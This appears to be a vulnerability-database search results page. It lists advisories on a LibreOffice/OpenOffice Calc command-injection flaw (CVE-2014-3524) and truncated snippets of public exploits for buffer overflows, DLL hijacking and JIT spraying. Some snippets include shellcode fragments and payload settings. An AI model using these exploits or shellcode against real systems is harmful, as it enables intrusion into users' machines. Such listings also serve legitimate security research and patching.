459 matches found
LibreOffice 4.3.x < 4.3.1 Multiple Vulnerabilities
A version of LibreOffice is installed on the remote Windows host that is 4.3.x prior to 4.3.1. It is, therefore, affected by the following vulnerabilities : - An input-validation error exists related to handling Calc spreadsheets that allows arbitrary command execution. CVE-2014-3524 - An...
USN-2331-1: LibreOffice vulnerability
Rohan Durve and James Kettle discovered LibreOffice Calc sometimes allowed for command injection when opening spreadsheets. If a user were tricked into opening a crafted Calc spreadsheet, an attacker could exploit this to run programs as your login...
USN-2331-1 libreoffice vulnerability
Rohan Durve and James Kettle discovered LibreOffice Calc sometimes allowed for command injection when opening spreadsheets. If a user were tricked into opening a crafted Calc spreadsheet, an attacker could exploit this to run programs as your login...
CVE-2014-3524
Apache OpenOffice before 4.1.1 allows remote attackers to execute arbitrary commands and possibly have other unspecified impact via a crafted Calc spreadsheet...
Design/Logic Flaw
Apache OpenOffice before 4.1.1 allows remote attackers to execute arbitrary commands and possibly have other unspecified impact via a crafted Calc spreadsheet...
CVE-2014-3524
Apache OpenOffice before 4.1.1 allows remote attackers to execute arbitrary commands and possibly have other unspecified impact via a crafted Calc spreadsheet...
CVE-2014-3524
Apache OpenOffice before 4.1.1 allows remote attackers to execute arbitrary commands and possibly have other unspecified impact via a crafted Calc spreadsheet...
UBUNTU-CVE-2014-3524
Apache OpenOffice before 4.1.1 allows remote attackers to execute arbitrary commands and possibly have other unspecified impact via a crafted Calc spreadsheet...
Destiny Media Player 1.61 - (.pls) Universal Buffer Overflow Exploit (SEH)
No description provided by source. !/usr/bin/perl + Bug : Destiny Media Player 1.61 .pls Universal Buffer overflow SEH + Author : ThE g0bL!N + Greetz : ma 3labaliche :D + Use : open the pls file directly : + Note: His0k4 Merci jamais Raditni win32exec - EXITFUNC=seh CMD=calc Size=160...
JetAudio 7.1.9.4030 (.m3u) - Universal Stack Overflow Exploit (SEH)
No description provided by source. !/usr/bin/env python JetAudio 7.1.9.4030 Universal Stack Overflow Exploit SEH Coded By: DrIDE Found By: HACK4LOVE Tested on Windows XP SP2 windows/exec - 303 bytes http://www.metasploit.com Encoder: x86/alphaupper EXITFUNC=seh, CMD=calc sc =...
A-PDF All to MP3 Converter 1.1.0 Universal Local SEH Exploit
No description provided by source. !/usr/bin/python Exploit Title: A-PDF All to MP3 Converter v.1.1.0 Universal Local SEH Exploit Date: September 18, 2010 Author: modpr0be Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: 1.1.0 Tested on: Windows XP SP3 Open application -- Next...
Mozilla Thunderbird DLL Hijacking Exploit (dwmapi.dll)
No description provided by source. / Exploit Title: Mozilla Thunderbird DLL Hijacking Exploit dwmapi.dll Date: 26/08/2010 Author: h4ck3r47 http://twitter.com/hxteam Version: Latest Mozilla Thunderbird 3.1.2 Tested on: Windows XP SP3 The code is based on the exploit from TheLeader Vulnerable...
MP3Info 0.8.5a - SEH Buffer Overflow Exploit
No description provided by source. Exploit Title: mp3info SEH exploit Date: 18 March 2014 Exploit Author: Ayman Sagy aymansagy at gmail.com Vendor Homepage: http://ibiblio.org/mp3info/ Software Link:...
Castripper 2.50.70 - (.pls) stack buffer overflow DEP bypass exploit
No description provided by source. !/usr/bin/python Castripper 2.50.70 .pls stack buffer overflow w/ DEP bypass exploit Author: mrme - https://net-ninja.net - mrme AT corelan.be Download: http://www.mini-stream.net/castripper/ Tested on Wind0ws XP SP3 /noexecute=alwayson Greetz: Corelan Security...
FaceBook PhotoUploader <= 5.0.14.0 - Remote Buffer Overflow Exploit
No description provided by source. html head object id=target classid=clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0/object /head body script var shellcode = unescape%u0D0D%u0D0D%u9090%u9090+ //Windows Execute Command calc %ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b+...
Ultr@VNC <= 1.0.1 client Log::ReallyPrint Buffer Overflow Exploit
No description provided by source. !/usr/bin/python Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm POC by Paul Haas at Redspin.com Tested on WinXP SP 2: Launches Calc import socket, struct HOST = '' Localhost PORT = 5900 VNC Server BOFSZ = 1024 Buffer Size HEAD = RFB 003.006\n VNC Header...
WinSoftMagic Photo Editor PNG File Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/39354/info WinSoftMagic Photo Editor is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer. Successful...
A-PDF All to MP3 Converter 2.0.0 (.wav) Buffer Overflow (seh)
No description provided by source. Exploit Title: A-PDF All to MP3 Converter v.2.0.0 SEH overflow Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: = 2.0.0 Tested on: Win XP SP2 English Date: 29/01/2011 Author: m0nna Email: [email protected] triggering details: Open the...
Safari JS JITed shellcode - exec calc (ASLR/DEP bypass)
No description provided by source. !-- JIT-SPRAY for Safari 4.0.5 - 5.0.0 JavaScript JIT SHELLCODE and spray for ASLR / DEP bypass Win x32 By Alexey Sintsov from Digital Security Research Group Special for Hack In The Box 2010 Amsterdam PAYLOAD - exec calc Tested on Windows7 and Windows XP. Sorry...
Windows XP PRO SP3 - Full ROP calc shellcode
No description provided by source. / Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f http://www.fuzzysecurity.com/ Notes: This is probably not the most efficient way but I gave the dll's a run for their money ; Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version...